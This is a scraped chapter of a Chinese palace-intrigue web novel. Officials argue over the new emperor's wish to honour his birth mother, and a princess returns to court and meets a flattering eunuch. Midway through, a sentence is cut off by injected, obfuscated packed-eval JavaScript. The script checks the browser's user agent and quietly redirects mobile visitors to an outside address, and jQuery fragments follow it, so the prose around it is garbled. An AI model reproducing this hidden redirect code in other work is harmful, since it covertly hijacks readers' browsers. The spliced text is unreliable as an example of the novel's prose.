170. 第 170 章
作品:《穿成公主的我登基了》 等到估摸着旁人听不到他们的交谈声了,王世庸才笑着温声开口:“徐大人辛苦,能劝动陛下返朝听政,徐大人居功至伟,本官代诸位同僚和天下万民,多谢徐大人!”
说着便要冲面前一个面容稚嫩的绿袍小官下拜一礼,徐淙安连忙屈膝压低了身体连忙将人搀扶住不让人拜下去,“诶诶!王大人,这可使不得,这不是折煞下官了吗?”
王世庸恪守君子礼节,却不是不通人情世故的书呆子,配合地直起身来,便直言问道:“今日陛下上朝,倒是未提及追封余夫人之事,本官同议事殿同僚却还记挂着此事,不知道陛下心中是何打算,若是陛下打消了这个念头倒是无妨,但若还有此心只是暂且引而不发,我们也该早日敲定个章程出来,同陛下说清楚才是!”
徐淙安就料到是此事,叹了口气,不想在君王面前事事向着他的模样,反倒是苦笑着冲王世庸摇了摇头,“毕竟是天子,说出来的话,哪有那么好收回的。”
又是躬身向王世庸和吏部尚书杨大人躬身一礼,“陛下此意图恐会惹天下人耻笑,为保朝堂颜面,天子声名,还请各位大人多费心了!”
杨大人唇角体面的笑容淡下去了几分,王世庸却是不觉得意外,依旧温声追问:“天子一言,价值千金,也不算出乎意料。徐大人可知陛下是何打算的?”
“陛下本还打算僵持着等诸公去向他请罪,松口统一余夫人的册封,再行还朝的。”徐淙安眉宇间带着愁色,“微臣劝陛下身为圣明天子,当有天子的肚量,不能因此事耽误了千秋社稷、万载声名,暂且还朝便是身为天子暂且退让一步,诸公定会感念陛下仁和,给陛下一个满意的答复。”
“徐大人当知道,追封晋阳王府庶妃为太后,必不可行,这不但是易家不愿退让,而是有违超纲正统,动摇社稷的大事!”杨大人皱着眉不赞同。
“微臣自然知晓!但也不能让陛下一直避不上朝啊!”徐淙安似是年少沉不住气,激动时声音大了些,但很快又反应过来眉眼带着歉意,再次压低声音,“诸公为保全陛下名声,对外宣称陛下受了风寒养病不便上朝,但刚登基的皇帝便缠绵病榻,这对陛下来说也不是有利的名声,册封太后之事可以暂且押后,陛下上了朝便可稳定民心,臣也劝过陛下了,可以暂且不谈此事,等议事殿拿出个章程来再行商议,这样一来,陛下的名声也保住了。”
杨大人目光复杂的看着尚且稚嫩的小官员,“徐大人对陛下的确忠心。”
未等徐淙安接话,面露思索的王世庸便开口:“徐大人此事做得对,多亏了你劝谏陛下,只是陛下执拗,宗族礼法是底线也不可轻易违背,此事吾等还需斟酌,还望徐大人再安抚陛下几日。”
生嫩的年轻官员抿了抿唇,“下官安抚陛下倒是无妨,微臣知道今日来报,濮阳长公主殿下已经在返京的路上了,再过不了几日便是望月朝会,到时候可不止咱们这些知道情况的朝臣,人多口杂的,若是陛下到时候仗着人多再次发难,消息怕是压不住,这事可就麻烦了!”
王世庸点点头,笑得有几分举重若轻的从容,让人一看便觉他心中已有成算,“徐大人放心便是,吾等会好好商议,再派人去同陛下相商的。”
但事实上,返京路上的濮阳公主信件收了一封又一封,直到她吩咐随行加快速度,紧赶慢赶比计划还要提前一日抵达京城的时候,议事殿和皇帝还双方僵持着,荣宛俞朝堂上持续僵着脸一言不发,议事殿也像不知道这件事一样装起了傻。
荣晞先回到公主府安顿行囊、沐浴更衣的时候,甚至朝中往日素无往来的中阶官员,都有的送来了信件。
荣晞等不及休息片刻,当即便命人套了马车,打起长公主在京中的仪驾,穿行过午后人头攒动的京城街市,大摇大摆地往宫城赶去了。
行到宫门前要更换宫中轿辇的时候,正好看到崔明耀今日当值,带队驻守宫门。陛下登基将刘曲凌将军提拔到身边后,这崔氏子也寻了门路调到了监门卫守宫门,还晋升了一级如今已经是监门卫左郎将了,下一步便是中郎将,可谓顺风顺水,稳稳当当得令人艳羡啊!
荣晞并未同崔明耀有言语交谈,那小子混不吝的性子,当起差来倒还像模像样,目不斜视严谨奉公的样子,连眼神交流都没给荣晞一个。
荣晞自然也不会当着众人的面,刻意关注一位小小的监门卫郎将,轻飘飘地扫过一眼便上了宫中的轿辇,入了内宫门,又要下来换乘内宫的肩舆。
不得不说,这皇宫里到底是有了新主子,她这个公主的封号即便又升了一级,封地扩大到了三千户,这进宫时的讲究,竟比当日龙椅空悬,皇后主持大局的时候还要麻烦。
荣晞眼里闪过讽刺之意,但面上依旧不动声色地坐上了肩舆,晃晃荡荡地往天子寝殿行去。
还没到龙嶂殿的外院宫门,便见熟悉但衣饰比印象中更加体面的方德海带着个小太监,已经候在了门前,肩舆在门前停下,荣晞在这里就要下辇了。
方德海依旧是谄媚周到地上前搀扶,连声恭维:“哎哟,咱们这金尊玉贵的公主殿下!盼山盼水可是把您给盼回来了,您看看您这小脸儿,都瘦了!濮阳那什么穷山恶水的地界,苛待了咱们金枝玉叶,看看这委屈得,奴才都心疼了!”
荣晞笑得温婉体面,就像寻常皇室娴静温婉的公主的样子,“方公公说笑了!父皇亲选的封地,哪里会苛待了本宫。”
荣晞比起刚穿来那个时候身量长高了不少,但她着实不算纤细的身材,比起这个时代女子追求的弱质纤纤不盈一握的身材审美,她还显得有些丰腴。再加这两个月在濮阳东奔西跑的,腿上都有了肌肉,也亏得这具身体是不易晒黑的体质,稍微注意一些,她依旧是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17460792|188710||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
莹白如玉的肌肤,不会让人心生怀疑。
面上的婴儿肥确实消减了一些,但依旧是大气的鹅蛋脸,看着还比之前明艳了几分,她对自己现在的长相很满意,也实在欣赏不来那种弱柳扶风的审美。
方德海当然也是说的客套话,别看这主子一副娴静温婉的样子,只不过是人家公主性子好,若真觉得她是孤身在外的女儿家好欺负,当日国祚空悬以女子之身代父摄政更亲赴前线督军的事迹,也不是编造出来唬人玩儿的。
故而虽得了新帝的宠信,在朝臣面前都敢颐指气使的方德海,见识过这位公主的厉害,不敢在她面前太过张狂,笑盈盈地搀着人往院内走,一边不忘好话不断:“那自然是,公主殿下身份何等的尊贵,谁人敢欺负殿下,莫说陛下不会答应,便是老臣这条贱命听到了,也是愿意为殿下同那贼子拼命的。”
荣晞对这个见风使舵的内侍监一向没有什么好印象,加上她虽远在荆州,同京城的信息传递却不曾断过,知道自从谄媚上了新帝,内侍省越发猖狂不知收敛,以方德海为首最是行事无忌。
但她不是个喜怒形于色的人,她今日进宫也不是来处置这上不得台面的奴才的,故而将这人聒噪的献媚之言听过便忘,面上依旧谦和有礼,任由堂堂内侍监屈尊降贵亲自搀着她往里走,让人看不出她对方德海有丝毫的意见。
“濮阳虽一切都好,但没有亲人难免孤寂,心下时常挂念陛下,故而刚入京城,来不及往宫中递帖子便直接入了宫,还望陛下勿怪。陛下如今可在龙嶂殿,本宫想求见。”
“哎哟,公主殿下说这话是做什么?陛下尊殿下为长姊,这皇宫也是殿下的家,哪有回自个儿家还要递拜帖的意思呀!陛下若是知道了,该训斥我们奴才对殿下不恭敬了!”
“陛下如今正在龙嶂殿等殿下呢!哎,不单是公主殿下想念亲人,咱们陛下也时常挂念殿下啊!时时念在嘴边,说您远在濮阳,生怕殿下冷了饿了下人照顾不周,乡野愚民冒犯了玉体。”
大燕的皇家建筑讲究风景与威仪并存,内宫的殿宇往往掩映在亭台楼阁,假山流水的庭院之间,鸾台雅居是如此,龙嶂殿也是如此。
外宫门离龙嶂殿还有一段距离,宫廷中女眷行走又素来莲步轻移,尽显端庄优雅,窈窕动人的情态,荣晞自然不是那些弱柳扶风的娇软女子,但回到了京城又有意在新帝面前收敛锋芒,她这个公主也当端起温柔娴静的架子,不可能像在荆州时大步纵马。
这样一来,难免就慢了些,不得不耐下心同方德海多寒暄几句,荣晞眼中沁出笑意,似乎对天子对她的关心十分感动,“劳陛下费心了,能得陛下如此挂念,濮阳自然一切都好。陛下也是,天气转凉了,陛下还是在长身子骨的年纪,你们这个从旁侍奉的要多上点心。”
“额,殿下说得是!说得是!奴才等谨记!”

